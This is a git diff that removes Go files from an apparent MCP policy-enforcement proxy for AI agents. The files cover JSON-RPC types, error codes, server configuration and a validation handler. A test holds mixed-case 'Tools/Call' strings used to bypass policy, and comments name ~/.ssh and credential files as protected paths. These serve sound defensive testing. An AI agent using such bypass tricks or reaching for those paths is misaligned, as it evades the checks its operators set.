intercepts these requests to apply policy checks before forwarding -// to the target MCP server. -// -// Example MCP tool call request: -// -// { -// "jsonrpc": "2.0", -// "id": 1, -// "method": "tools/call", -// "params": { -// "name": "github_create_issue", -// "arguments": {"repo": "myrepo", "title": "Bug"} -// } -// } -type Request struct { - // JSONRPC must be exactly "2.0" per specification. - JSONRPC string `json:"jsonrpc"` - - // ID is the request identifier. Can be string, number, or null. - // Used to correlate responses with requests. - // Notifications (requests without ID) do not expect a response. - ID json.RawMessage `json:"id,omitempty"` - - // Method is the name of the RPC method to invoke. - // MCP uses methods like "tools/list", "tools/call", "resources/read", etc. - Method string `json:"method"` - - // Params contains method-specific parameters. - // Stored as raw JSON to allow flexible parsing based on method type. - Params json.RawMessage `json:"params,omitempty"` -} - -// Response represents a JSON-RPC 2.0 response message. -// -// The proxy constructs error responses when blocking forbidden tool calls, -// preventing the request from reaching the target server. -type Response struct { - // JSONRPC must be exactly "2.0" per specification. - JSONRPC string `json:"jsonrpc"` - - // ID must match the request ID this response corresponds to. - // For error responses to blocked requests, we echo back the original ID. - ID json.RawMessage `json:"id,omitempty"` - - // Result contains the method's return value on success. - // Mutually exclusive with Error. - Result json.RawMessage `json:"result,omitempty"` - - // Error contains error information on failure. - // Mutually exclusive with Result. - Error *Error `json:"error,omitempty"` -} - -// Error represents a JSON-RPC 2.0 error object. -// -// Standard error codes (from spec): -// - -32700: Parse error -// - -32600: Invalid Request -// - -32601: Method not found -// - -32602: Invalid params -// - -32603: Internal error -// -// AIP-specific error codes (custom range -32000 to -32099): -// - -32001: Forbidden - Policy denied the tool call -// - -32002: Rate limited -// - -32003: Session expired -type Error struct { - // Code is a number indicating the error type. - Code int `json:"code"` - - // Message is a short description of the error. - Message string `json:"message"` - - // Data contains additional information about the error. - // Optional and may contain any JSON value. - Data any `json:"data,omitempty"` -} - -// ----------------------------------------------------------------------------- -// MCP-Specific Parameter Types -// ----------------------------------------------------------------------------- - -// ToolCallParams represents the parameters for a "tools/call" method. -// -// When the proxy sees method="tools/call", it unmarshals Params into this -// struct to extract the tool name for policy checking. -type ToolCallParams struct { - // Name is the identifier of the tool being invoked. - // This is the primary field used for policy enforcement. - // Examples: "github_create_issue", "postgres_query", "slack_post_message" - Name string `json:"name"` - - // Arguments contains tool-specific parameters. - // The proxy does not inspect these for basic allow/deny decisions, - // but future versions may support argument-level constraints. - Arguments json.RawMessage `json:"arguments,omitempty"` -} - -// ----------------------------------------------------------------------------- -// AIP Error Codes -// ----------------------------------------------------------------------------- - -const ( - // ErrCodeForbidden indicates the policy engine denied the request. - // Returned when a tool call is blocked by agent.yaml policy. - ErrCodeForbidden = -32001 - - // ErrCodeRateLimited indicates the agent exceeded rate limits. - ErrCodeRateLimited = -32002 - - // ErrCodeSessionExpired indicates the agent's session has expired. - ErrCodeSessionExpired = -32003 - - // ErrCodeUserDenied indicates the user explicitly denied the request. - // Returned when a tool call with action="ask" was rejected by the user. - ErrCodeUserDenied = -32004 - - // ErrCodeUserTimeout indicates the user did not respond in time. - // Returned when a tool call with action="ask" timed out waiting for user input. - ErrCodeUserTimeout = -32005 - - // ErrCodeMethodNotAllowed indicates the JSON-RPC method is not permitted. - // Returned when a method is blocked by the allowed_methods/denied_methods policy. - // This is the first line of defense against MCP method bypass attacks. - ErrCodeMethodNotAllowed = -32006 - - // ErrCodeProtectedPath indicates a tool attempted to access a protected path. - // This is a security-critical error indicating potential policy tampering - // or credential theft attempt. - ErrCodeProtectedPath = -32007 - - // ErrCodeTokenRequired indicates an identity token is required but not provided. - // New in AIP v1alpha2. - ErrCodeTokenRequired = -32008 - - // ErrCodeTokenInvalid indicates the identity token validation failed. - // New in AIP v1alpha2. - ErrCodeTokenInvalid = -32009 - - // ErrCodePolicySignatureInvalid indicates the policy signature is invalid. - // New in AIP v1alpha2. - ErrCodePolicySignatureInvalid = -32010 -) - -// ----------------------------------------------------------------------------- -// Constructor Functions -// ----------------------------------------------------------------------------- - -// NewForbiddenError creates a JSON-RPC error response for blocked tool calls. -// -// This is the primary response type used when the policy engine denies a request. -// The error includes details about which tool was blocked to aid debugging. -func NewForbiddenError(requestID json.RawMessage, toolName string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeForbidden, - Message: "Forbidden", - Data: map[string]string{ - "tool": toolName, - "reason": "Tool not in allowed_tools list", - }, - }, - } -} - -// NewArgumentError creates a JSON-RPC error response for argument validation failures. -// -// This is used when a tool is allowed but an argument fails regex validation. -// The error includes the specific argument that failed for debugging. -func NewArgumentError(requestID json.RawMessage, toolName, argName, pattern string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeForbidden, - Message: "Argument validation failed", - Data: map[string]string{ - "tool": toolName, - "arg": argName, - "pattern": pattern, - "reason": "Argument validation failed for " + argName, - }, - }, - } -} - -// NewParseError creates a JSON-RPC error response for malformed messages. -func NewParseError(requestID json.RawMessage, detail string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: -32700, - Message: "Parse error", - Data: detail, - }, - } -} - -// NewUserDeniedError creates a JSON-RPC error response when user denies a tool call. -// -// This is used when a tool with action="ask" is rejected by the user -// via the native OS dialog prompt. -func NewUserDeniedError(requestID json.RawMessage, toolName string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeUserDenied, - Message: "User denied", - Data: map[string]string{ - "tool": toolName, - "reason": "User explicitly denied the tool call via approval dialog", - }, - }, - } -} - -// NewUserTimeoutError creates a JSON-RPC error response when user approval times out. -// -// This is used when a tool with action="ask" does not receive user input -// within the configured timeout period (default: 60 seconds). -func NewUserTimeoutError(requestID json.RawMessage, toolName string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeUserTimeout, - Message: "User approval timeout", - Data: map[string]string{ - "tool": toolName, - "reason": "User did not respond to approval dialog within timeout", - }, - }, - } -} - -// NewRateLimitedError creates a JSON-RPC error response for rate limit exceeded. -// -// This is used when a tool call exceeds its configured rate limit. -// The agent should back off and retry later. -func NewRateLimitedError(requestID json.RawMessage, toolName string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeRateLimited, - Message: "Rate limit exceeded", - Data: map[string]string{ - "tool": toolName, - "reason": "Rate limit exceeded for " + toolName + ". Try again later.", - }, - }, - } -} - -// NewMethodNotAllowedError creates a JSON-RPC error response for blocked methods. -// -// This is used when a JSON-RPC method (not tool) is blocked by policy. -// Examples: resources/read, prompts/get when not explicitly allowed. -// -// This is the first line of defense against MCP method bypass attacks where -// an attacker might try to use methods that aren't subject to tool-level checks. -func NewMethodNotAllowedError(requestID json.RawMessage, method string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeMethodNotAllowed, - Message: "Method not allowed", - Data: map[string]string{ - "method": method, - "reason": "Method '" + method + "' is not in allowed_methods. Add it to your policy to permit this method.", - }, - }, - } -} - -// NewProtectedPathError creates a JSON-RPC error response for protected path access. -// -// This is a SECURITY-CRITICAL error indicating the agent attempted to access -// a protected file path (e.g., ~/.ssh, policy file, credentials). This may -// indicate a prompt injection attack or policy tampering attempt. -// -// The error intentionally does NOT reveal which paths are protected to avoid -// leaking security configuration to potential attackers. -func NewProtectedPathError(requestID json.RawMessage, toolName, protectedPath string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeProtectedPath, - Message: "Access denied: protected path", - Data: map[string]string{ - "tool": toolName, - "reason": "The requested operation would access a protected path. This action has been blocked and logged for security review.", - }, - }, - } -} - -// NewTokenRequiredError creates a JSON-RPC error response when identity token is required. -// -// This is used when spec.identity.require_token is true and no token was provided. -// New in AIP v1alpha2. -func NewTokenRequiredError(requestID json.RawMessage, toolName string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeTokenRequired, - Message: "Token required", - Data: map[string]string{ - "tool": toolName, - "reason": "Identity token required for this policy", - }, - }, - } -} - -// NewTokenInvalidError creates a JSON-RPC error response when token validation fails. -// -// This is used when a token is provided but fails validation (expired, policy changed, etc.). -// New in AIP v1alpha2. -func NewTokenInvalidError(requestID json.RawMessage, toolName, tokenError string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodeTokenInvalid, - Message: "Token invalid", - Data: map[string]string{ - "tool": toolName, - "reason": "Token validation failed: " + tokenError, - "token_error": tokenError, - }, - }, - } -} - -// NewPolicySignatureError creates a JSON-RPC error response when policy signature is invalid. -// -// This is used when the policy file has a signature that doesn't verify. -// New in AIP v1alpha2. -func NewPolicySignatureError(requestID json.RawMessage, policyName string) *Response { - return &Response{ - JSONRPC: "2.0", - ID: requestID, - Error: &Error{ - Code: ErrCodePolicySignatureInvalid, - Message: "Policy signature invalid", - Data: map[string]string{ - "policy": policyName, - "reason": "Policy signature verification failed", - }, - }, - } -} - -// IsToolCall checks if a request is a tool invocation that needs policy checking. -// Uses case-insensitive comparison to prevent bypass via "Tools/Call" or "TOOLS/CALL". -func (r *Request) IsToolCall() bool { - return strings.EqualFold(r.Method, "tools/call") -} - -// GetToolName extracts the tool name from a tools/call request. -// Returns empty string if params cannot be parsed or name is missing. -func (r *Request) GetToolName() string { - if !r.IsToolCall() { - return "" - } - - var params ToolCallParams - if err := json.Unmarshal(r.Params, ¶ms); err != nil { - return "" - } - return params.Name -} - -// GetToolArgs extracts the tool arguments from a tools/call request. -// Returns nil if params cannot be parsed or arguments are missing. -func (r *Request) GetToolArgs() map[string]any { - if !r.IsToolCall() { - return nil - } - - var params ToolCallParams - if err := json.Unmarshal(r.Params, ¶ms); err != nil { - return nil - } - - if params.Arguments == nil { - return make(map[string]any) - } - - var args map[string]any - if err := json.Unmarshal(params.Arguments, &args); err != nil { - return nil - } - return args -} diff --git a/implementations/go-proxy/pkg/protocol/types_test.go b/implementations/go-proxy/pkg/protocol/types_test.go deleted file mode 100644 index 4c65610..0000000 --- a/implementations/go-proxy/pkg/protocol/types_test.go +++ /dev/null @@ -1,230 +0,0 @@ -// Package protocol tests for JSON-RPC message handling. -package protocol - -import ( - "encoding/json" - "testing" -) - -// TestIsToolCallCaseInsensitive verifies that IsToolCall() is case-insensitive. -// -// SECURITY: This test prevents CVE-like bypass attacks where an attacker -// sends "Tools/Call" or "TOOLS/CALL" to bypass policy enforcement. -// The method name must be matched case-insensitively per JSON-RPC convention. -func TestIsToolCallCaseInsensitive(t *testing.T) { - testCases := []struct { - method string - want bool - }{ - // Standard lowercase - should match - {"tools/call", true}, - // Mixed case variants - MUST match (security critical) - {"Tools/Call", true}, - {"TOOLS/CALL", true}, - {"Tools/call", true}, - {"tools/Call", true}, - {"TOOLS/call", true}, - {"tools/CALL", true}, - // Non-matching methods - should not match - {"tools/list", false}, - {"resources/read", false}, - {"", false}, - {"toolscall", false}, - {"tools call", false}, - } - - for _, tc := range testCases { - t.Run(tc.method, func(t *testing.T) { - req := &Request{Method: tc.method} - got := req.IsToolCall() - if got != tc.want { - t.Errorf("IsToolCall() for method %q = %v, want %v", tc.method, got, tc.want) - } - }) - } -} - -// TestGetToolName verifies tool name extraction from requests. -func TestGetToolName(t *testing.T) { - testCases := []struct { - name string - req *Request - want string - }{ - { - name: "valid tools/call", - req: &Request{ - Method: "tools/call", - Params: json.RawMessage(`{"name": "github_get_repo", "arguments": {}}`), - }, - want: "github_get_repo", - }, - { - name: "tools/call with mixed case method", - req: &Request{ - Method: "Tools/Call", - Params: json.RawMessage(`{"name": "dangerous_tool"}`), - }, - want: "dangerous_tool", - }, - { - name: "non-tools/call method", - req: &Request{ - Method: "tools/list", - Params: json.RawMessage(`{"name": "should_not_extract"}`), - }, - want: "", - }, - { - name: "invalid params JSON", - req: &Request{ - Method: "tools/call", - Params: json.RawMessage(`invalid json`), - }, - want: "", - }, - { - name: "missing name field", - req: &Request{ - Method: "tools/call", - Params: json.RawMessage(`{"arguments": {}}`), - }, - want: "", - }, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - got := tc.req.GetToolName() - if got != tc.want { - t.Errorf("GetToolName() = %q, want %q", got, tc.want) - } - }) - } -} - -// TestGetToolArgs verifies argument extraction from requests. -func TestGetToolArgs(t *testing.T) { - testCases := []struct { - name string - req *Request - wantNil bool - wantKeys []string - }{ - { - name: "valid args", - req: &Request{ - Method: "tools/call", - Params: json.RawMessage(`{"name": "test", "arguments": {"path": "/tmp", "mode": "read"}}`), - }, - wantNil: false, - wantKeys: []string{"path", "mode"}, - }, - { - name: "empty args object", - req: &Request{ - Method: "tools/call", - Params: json.RawMessage(`{"name": "test", "arguments": {}}`), - }, - wantNil: false, - wantKeys: []string{}, - }, - { - name: "missing arguments field", - req: &Request{ - Method: "tools/call", - Params: json.RawMessage(`{"name": "test"}`), - }, - wantNil: false, - wantKeys: []string{}, - }, - { - name: "non-tools/call method", - req: &Request{ - Method: "tools/list", - Params: json.RawMessage(`{"name": "test", "arguments": {"key": "value"}}`), - }, - wantNil: true, - }, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - got := tc.req.GetToolArgs() - if tc.wantNil { - if got != nil { - t.Errorf("GetToolArgs() = %v, want nil", got) - } - return - } - if got == nil { - t.Fatal("GetToolArgs() = nil, want non-nil") - } - for _, key := range tc.wantKeys { - if _, ok := got[key]; !ok { - t.Errorf("GetToolArgs() missing expected key %q", key) - } - } - }) - } -} - -// TestErrorResponseFormat verifies JSON-RPC error responses are well-formed. -func TestErrorResponseFormat(t *testing.T) { - testCases := []struct { - name string - resp *Response - wantCode int - }{ - { - name: "forbidden error", - resp: NewForbiddenError(json.RawMessage(`1`), "dangerous_tool"), - wantCode: ErrCodeForbidden, - }, - { - name: "argument error", - resp: NewArgumentError(json.RawMessage(`2`), "fetch_url", "url", "^https://.*"), - wantCode: ErrCodeForbidden, - }, - { - name: "user denied error", - resp: NewUserDeniedError(json.RawMessage(`3`), "exec_command"), - wantCode: ErrCodeUserDenied, - }, - { - name: "rate limited error", - resp: NewRateLimitedError(json.RawMessage(`4`), "api_call"), - wantCode: ErrCodeRateLimited, - }, - } - - for _, tc := range testCases { - t.Run(tc.name, func(t *testing.T) { - // Verify JSONRPC version - if tc.resp.JSONRPC != "2.0" { - t.Errorf("JSONRPC = %q, want %q", tc.resp.JSONRPC, "2.0") - } - - // Verify error is present - if tc.resp.Error == nil { - t.Fatal("Error is nil") - } - - // Verify error code - if tc.resp.Error.Code != tc.wantCode { - t.Errorf("Error.Code = %d, want %d", tc.resp.Error.Code, tc.wantCode) - } - - // Verify response serializes to valid JSON - data, err := json.Marshal(tc.resp) - if err != nil { - t.Fatalf("Failed to marshal response: %v", err) - } - - var parsed map[string]interface{} - if err := json.Unmarshal(data, &parsed); err != nil { - t.Fatalf("Response is not valid JSON: %v", err) - } - }) - } -} diff --git a/implementations/go-proxy/pkg/server/config.go b/implementations/go-proxy/pkg/server/config.go deleted file mode 100644 index e8fce9b..0000000 --- a/implementations/go-proxy/pkg/server/config.go +++ /dev/null @@ -1,172 +0,0 @@ -// Package server implements HTTP endpoints for server-side validation in AIP v1alpha2. -// -// The server package provides: -// - Validation endpoint for remote policy enforcement -// - Health check endpoint for load balancers -// - Metrics endpoint for Prometheus integration -// - TLS support for secure communication -// -// This is a new feature in AIP v1alpha2 that enables distributed policy enforcement -// and centralized validation. -package server - -import ( - "fmt" - "strings" -) - -// Config holds the server configuration from the policy spec. -// Maps to spec.server in the policy YAML. -type Config struct { - // Enabled controls whether the HTTP server is active. - // Default: false - Enabled bool `yaml:"enabled,omitempty"` - - // Listen is the address and port to bind. - // Format: ":" or ":" - // Default: "127.0.0.1:9443" - Listen string `yaml:"listen,omitempty"` - - // TLS configures HTTPS. - // Required if Listen is not localhost. - TLS *TLSConfig `yaml:"tls,omitempty"` - - // Endpoints configures custom endpoint paths. - Endpoints *EndpointsConfig `yaml:"endpoints,omitempty"` -} - -// TLSConfig holds TLS configuration. -type TLSConfig struct { - // Cert is the path to the TLS certificate file (PEM format) - Cert string `yaml:"cert,omitempty"` - - // Key is the path to the TLS private key file (PEM format) - Key string `yaml:"key,omitempty"` - - // ClientCA is the path to the CA certificate for client verification (mTLS) - ClientCA string `yaml:"client_ca,omitempty"` - - // RequireClientCert enables mTLS (mutual TLS) - RequireClientCert bool `yaml:"require_client_cert,omitempty"` -} - -// EndpointsConfig holds custom endpoint path configuration. -type EndpointsConfig struct { - // Validate is the path for the validation endpoint - // Default: "/v1/validate" - Validate string `yaml:"validate,omitempty"` - - // Health is the path for the health check endpoint - // Default: "/health" - Health string `yaml:"health,omitempty"` - - // Metrics is the path for the Prometheus metrics endpoint - // Default: "/metrics" - Metrics string `yaml:"metrics,omitempty"` -} - -// DefaultConfig returns the default server configuration. -func DefaultConfig() *Config { - return &Config{ - Enabled: false, - Listen: "127.0.0.1:9443", - Endpoints: &EndpointsConfig{ - Validate: "/v1/validate", - Health: "/health", - Metrics: "/metrics", - }, - } -} - -// GetListen returns the listen address. -func (c *Config) GetListen() string { - if c == nil || c.Listen == "" { - return "127.0.0.1:9443" - } - return c.Listen -} - -// GetValidatePath returns the validation endpoint path. -func (c *Config) GetValidatePath() string { - if c == nil || c.Endpoints == nil || c.Endpoints.Validate == "" { - return "/v1/validate" - } - return c.Endpoints.Validate -} - -// GetHealthPath returns the health check endpoint path. -func (c *Config) GetHealthPath() string { - if c == nil || c.Endpoints == nil || c.Endpoints.Health == "" { - return "/health" - } - return c.Endpoints.Health -} - -// GetMetricsPath returns the metrics endpoint path. -func (c *Config) GetMetricsPath() string { - if c == nil || c.Endpoints == nil || c.Endpoints.Metrics == "" { - return "/metrics" - } - return c.Endpoints.Metrics -} - -// IsLocalhost returns true if the listen address is localhost. -func (c *Config) IsLocalhost() bool { - addr := c.GetListen() - return strings.HasPrefix(addr, "127.0.0.1:") || - strings.HasPrefix(addr, "localhost:") || - strings.HasPrefix(addr, "[::1]:") -} - -// RequiresTLS returns true if TLS is required (non-localhost). -func (c *Config) RequiresTLS() bool { - return c.Enabled && !c.IsLocalhost() -} - -// HasTLS returns true if TLS is configured. -func (c *Config) HasTLS() bool { - return c.TLS != nil && c.TLS.Cert != "" && c.TLS.Key != "" -} - -// Validate checks the configuration for errors. -func (c *Config) Validate() error { - if c == nil || !c.Enabled { - return nil - } - - // Check TLS requirement - if c.RequiresTLS() && !c.HasTLS() { - return &ConfigError{ - Field: "tls", - Message: "TLS is required when listen address is not localhost", - } - } - - // Validate TLS config if present - if c.HasTLS() { - if c.TLS.Cert == "" { - return &ConfigError{ - Field: "tls.cert", - Message: "TLS certificate path is required", - } - } - if c.TLS.Key == "" { - return &ConfigError{ - Field: "tls.key", - Message: "TLS key path is required", - } - } - } - - return nil -} - -// ConfigError represents a configuration validation error. -type ConfigError struct { - Field string - Message string -} - -func (e *ConfigError) Error() string { - return fmt.Sprintf("server config error: %s: %s", e.Field, e.Message) -} diff --git a/implementations/go-proxy/pkg/server/config_test.go b/implementations/go-proxy/pkg/server/config_test.go deleted file mode 100644 index d885f31..0000000 --- a/implementations/go-proxy/pkg/server/config_test.go +++ /dev/null @@ -1,212 +0,0 @@ -package server - -import ( - "testing" -) - -func TestDefaultConfig(t *testing.T) { - cfg := DefaultConfig() - - if cfg.Enabled { - t.Error("Default should have Enabled=false") - } - if cfg.Listen != "127.0.0.1:9443" { - t.Errorf("Default Listen = %q, want %q", cfg.Listen, "127.0.0.1:9443") - } - if cfg.Endpoints == nil { - t.Fatal("Default Endpoints should not be nil") - } - if cfg.Endpoints.Validate != "/v1/validate" { - t.Errorf("Default Validate = %q, want %q", cfg.Endpoints.Validate, "/v1/validate") - } - if cfg.Endpoints.Health != "/health" { - t.Errorf("Default Health = %q, want %q", cfg.Endpoints.Health, "/health") - } - if cfg.Endpoints.Metrics != "/metrics" { - t.Errorf("Default Metrics = %q, want %q", cfg.Endpoints.Metrics, "/metrics") - } -} - -func TestConfigGetListen(t *testing.T) { - tests := []struct { - name string - config *Config - expected string - }{ - {"nil config", nil, "127.0.0.1:9443"}, - {"empty listen", &Config{}, "127.0.0.1:9443"}, - {"custom listen", &Config{Listen: "0.0.0.0:8080"}, "0.0.0.0:8080"}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := tt.config.GetListen() - if got != tt.expected { - t.Errorf("GetListen() = %q, want %q", got, tt.expected) - } - }) - } -} - -func TestConfigGetPaths(t *testing.T) { - cfg := &Config{ - Endpoints: &EndpointsConfig{ - Validate: "/custom/validate", - Health: "/custom/health", - Metrics: "/custom/metrics", - }, - } - - if cfg.GetValidatePath() != "/custom/validate" { - t.Errorf("GetValidatePath() = %q, want %q", cfg.GetValidatePath(), "/custom/validate") - } - if cfg.GetHealthPath() != "/custom/health" { - t.Errorf("GetHealthPath() = %q, want %q", cfg.GetHealthPath(), "/custom/health") - } - if cfg.GetMetricsPath() != "/custom/metrics" { - t.Errorf("GetMetricsPath() = %q, want %q", cfg.GetMetricsPath(), "/custom/metrics") - } -} - -func TestConfigIsLocalhost(t *testing.T) { - tests := []struct { - name string - listen string - expected bool - }{ - {"127.0.0.1", "127.0.0.1:9443", true}, - {"localhost", "localhost:9443", true}, - {"ipv6 localhost", "[::1]:9443", true}, - {"all interfaces", "0.0.0.0:9443", false}, - {"external IP", "192.168.1.1:9443", false}, - {"hostname", "server.example.com:9443", false}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - cfg := &Config{Listen: tt.listen} - if cfg.IsLocalhost() != tt.expected { - t.Errorf("IsLocalhost() = %v, want %v", cfg.IsLocalhost(), tt.expected) - } - }) - } -} - -func TestConfigRequiresTLS(t *testing.T) { - tests := []struct { - name string - config *Config - expected bool - }{ - { - name: "disabled server", - config: &Config{Enabled: false, Listen: "0.0.0.0:9443"}, - expected: false, - }, - { - name: "localhost doesn't require TLS", - config: &Config{Enabled: true, Listen: "127.0.0.1:9443"}, - expected: false, - }, - { - name: "external address requires TLS", - config: &Config{Enabled: true, Listen: "0.0.0.0:9443"}, - expected: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if tt.config.RequiresTLS() != tt.expected { - t.Errorf("RequiresTLS() = %v, want %v", tt.config.RequiresTLS(), tt.expected) - } - }) - } -} - -func TestConfigHasTLS(t *testing.T) { - tests := []struct { - name string - config *Config - expected bool - }{ - {"no TLS config", &Config{}, false}, - {"empty TLS config", &Config{TLS: &TLSConfig{}}, false}, - {"cert only", &Config{TLS: &TLSConfig{Cert: "/path/cert.pem"}}, false}, - {"key only", &Config{TLS: &TLSConfig{Key: "/path/key.pem"}}, false}, - {"cert and key", &Config{TLS: &TLSConfig{Cert: "/cert.pem", Key: "/key.pem"}}, true}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if tt.config.HasTLS() != tt.expected { - t.Errorf("HasTLS() = %v, want %v", tt.config.HasTLS(), tt.expected) - } - }) - } -} - -func TestConfigValidate(t *testing.T) { - tests := []struct { - name string - config *Config - wantErr bool - errMsg string - }{ - { - name: "nil config is valid", - config: nil, - wantErr: false, - }, - { - name: "disabled server is valid", - config: &Config{Enabled: false}, - wantErr: false, - }, - { - name: "localhost without TLS is valid", - config: &Config{ - Enabled: true, - Listen: "127.0.0.1:9443", - }, - wantErr: false, - }, - { - name: "external address without TLS is invalid", - config: &Config{ - Enabled: true, - Listen: "0.0.0.0:9443", - }, - wantErr: true, - errMsg: "tls", - }, - { - name: "external address with TLS is valid", - config: &Config{ - Enabled: true, - Listen: "0.0.0.0:9443", - TLS: &TLSConfig{ - Cert: "/path/cert.pem", - Key: "/path/key.pem", - }, - }, - wantErr: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - err := tt.config.Validate() - if (err != nil) != tt.wantErr { - t.Errorf("Validate() error = %v, wantErr %v", err, tt.wantErr) - } - if err != nil && tt.errMsg != "" { - if cfgErr, ok := err.(*ConfigError); ok { - if cfgErr.Field != tt.errMsg { - t.Errorf("Error field = %q, want %q", cfgErr.Field, tt.errMsg) - } - } - } - }) - } -} diff --git a/implementations/go-proxy/pkg/server/handler.go b/implementations/go-proxy/pkg/server/handler.go deleted file mode 100644 index dfaf7a6..0000000 --- a/implementations/go-proxy/pkg/server/handler.go +++ /dev/null @@ -1,277 +0,0 @@ -package server - -import ( - "encoding/json" - "net/http" - "strings" - "time" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/identity" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" -) - -// ValidationRequest is the request body for the validation endpoint. -type ValidationRequest struct { - // Tool is the name of the tool to validate - Tool string `json:"tool"` - - // Arguments are the tool arguments - Arguments map[string]any `json:"arguments"` - - // Token is the identity token (optional, can also be in Authorization header) - Token string `json:"token,omitempty"` -} - -// ValidationResponse is the response body for the validation endpoint. -type ValidationResponse struct { - // Decision is "allow", "block", or "ask" - Decision string `json:"decision"` - - // Reason is a human-readable explanation - Reason string `json:"reason,omitempty"` - - // Violations lists any policy violations - Violations []Violation `json:"violations,omitempty"` - - // TokenStatus contains token validity information - TokenStatus *TokenStatus `json:"token_status,omitempty"` -} - -// Violation represents a policy violation. -type Violation struct { - // Type is the violation type (e.g., "argument_validation", "protected_path") - Type string `json:"type"` - - // Field is the field that caused the violation - Field string `json:"field,omitempty"` - - // Message is a description of the violation - Message string `json:"message"` -} - -// TokenStatus contains token validity information. -type TokenStatus struct { - // Valid is true if the token is valid - Valid bool `json:"valid"` - - // ExpiresIn is the number of seconds until expiration - ExpiresIn int `json:"expires_in,omitempty"` - - // Error contains the error code if validation failed - Error string `json:"error,omitempty"` -} - -// ErrorResponse is an error response body. -type ErrorResponse struct { - // Error is the error code - Error string `json:"error"` - - // Message is a human-readable error description - Message string `json:"message,omitempty"` - - // TokenError is the specific token error (for token_invalid) - TokenError string `json:"token_error,omitempty"` -} - -// HealthResponse is the response body for the health endpoint. -type HealthResponse struct { - // Status is "healthy", "degraded", or "unhealthy" - Status string `json:"status"` - - // Version is the AIP version - Version string `json:"version"` - - // PolicyHash is the current policy hash - PolicyHash string `json:"policy_hash,omitempty"` - - // UptimeSeconds is the server uptime - UptimeSeconds int64 `json:"uptime_seconds"` -} - -// Handler handles HTTP requests for the AIP server. -type Handler struct { - engine *policy.Engine - identityManager *identity.Manager - startTime time.Time - metrics *Metrics -} - -// NewHandler creates a new HTTP handler. -func NewHandler(engine *policy.Engine, identityManager *identity.Manager) *Handler { - return &Handler{ - engine: engine, - identityManager: identityManager, - startTime: time.Now(), - metrics: NewMetrics(), - } -} - -// HandleValidate handles POST requests to the validation endpoint. -func (h *Handler) HandleValidate(w http.ResponseWriter, r *http.Request) { - h.metrics.IncrementRequests() - - // Only accept POST - if r.Method != http.MethodPost { - h.sendError(w, http.StatusMethodNotAllowed, "method_not_allowed", "Only POST is allowed", "") - return - } - - // Parse request body - var req ValidationRequest - if err := json.NewDecoder(r.Body).Decode(&req); err != nil { - h.sendError(w, http.StatusBadRequest, "invalid_request", "Invalid JSON body", "") - return - } - - // Validate required fields - if req.Tool == "" { - h.sendError(w, http.StatusBadRequest, "invalid_request", "Missing required field: tool", "") - return - } - - // Extract token from Authorization header or request body - token := req.Token - if token == "" { - authHeader := r.Header.Get("Authorization") - if strings.HasPrefix(authHeader, "Bearer ") { - token = strings.TrimPrefix(authHeader, "Bearer ") - } - } - - // Check if token is required - if h.identityManager != nil && h.identityManager.RequiresToken() && token == "" { - h.metrics.IncrementDecision("token_required") - h.sendError(w, http.StatusUnauthorized, "token_required", "Identity token is required", "") - return - } - - // Validate token if provided - var tokenStatus *TokenStatus - if token != "" && h.identityManager != nil { - result := h.identityManager.ValidateToken(token) - tokenStatus = &TokenStatus{ - Valid: result.Valid, - ExpiresIn: result.ExpiresIn, - Error: result.Error, - } - - if !result.Valid && h.identityManager.RequiresToken() { - h.metrics.IncrementDecision("token_invalid") - h.sendError(w, http.StatusUnauthorized, "token_invalid", "Token validation failed", result.Error) - return - } - } - - // Evaluate policy - decision := h.engine.IsAllowed(req.Tool, req.Arguments) - - // Build response - resp := ValidationResponse{ - TokenStatus: tokenStatus, - } - - switch decision.Action { - case policy.ActionAllow: - resp.Decision = "allow" - resp.Reason = decision.Reason - h.metrics.IncrementDecision("allow") - - case policy.ActionBlock: - resp.Decision = "block" - resp.Reason = decision.Reason - h.metrics.IncrementDecision("block") - - // Add violation details - if decision.FailedArg != "" { - resp.Violations = append(resp.Violations, Violation{ - Type: "argument_validation", - Field: decision.FailedArg, - Message: "Value does not match pattern: " + decision.FailedRule, - }) - } else { - resp.Violations = append(resp.Violations, Violation{ - Type: "tool_not_allowed", - Message: decision.Reason, - }) - } - - case policy.ActionAsk: - resp.Decision = "ask" - resp.Reason = "Tool requires user approval" - h.metrics.IncrementDecision("ask") - - case policy.ActionRateLimited: - resp.Decision = "block" - resp.Reason = decision.Reason - h.metrics.IncrementDecision("rate_limited") - resp.Violations = append(resp.Violations, Violation{ - Type: "rate_limited", - Message: decision.Reason, - }) - // Return 429 for rate limiting - h.sendJSON(w, http.StatusTooManyRequests, resp) - return - - case policy.ActionProtectedPath: - resp.Decision = "block" - resp.Reason = "Access to protected path blocked" - h.metrics.IncrementDecision("protected_path") - resp.Violations = append(resp.Violations, Violation{ - Type: "protected_path", - Field: "path", - }) - } - - h.sendJSON(w, http.StatusOK, resp) -} - -// HandleHealth handles GET requests to the health endpoint. -func (h *Handler) HandleHealth(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - h.sendError(w, 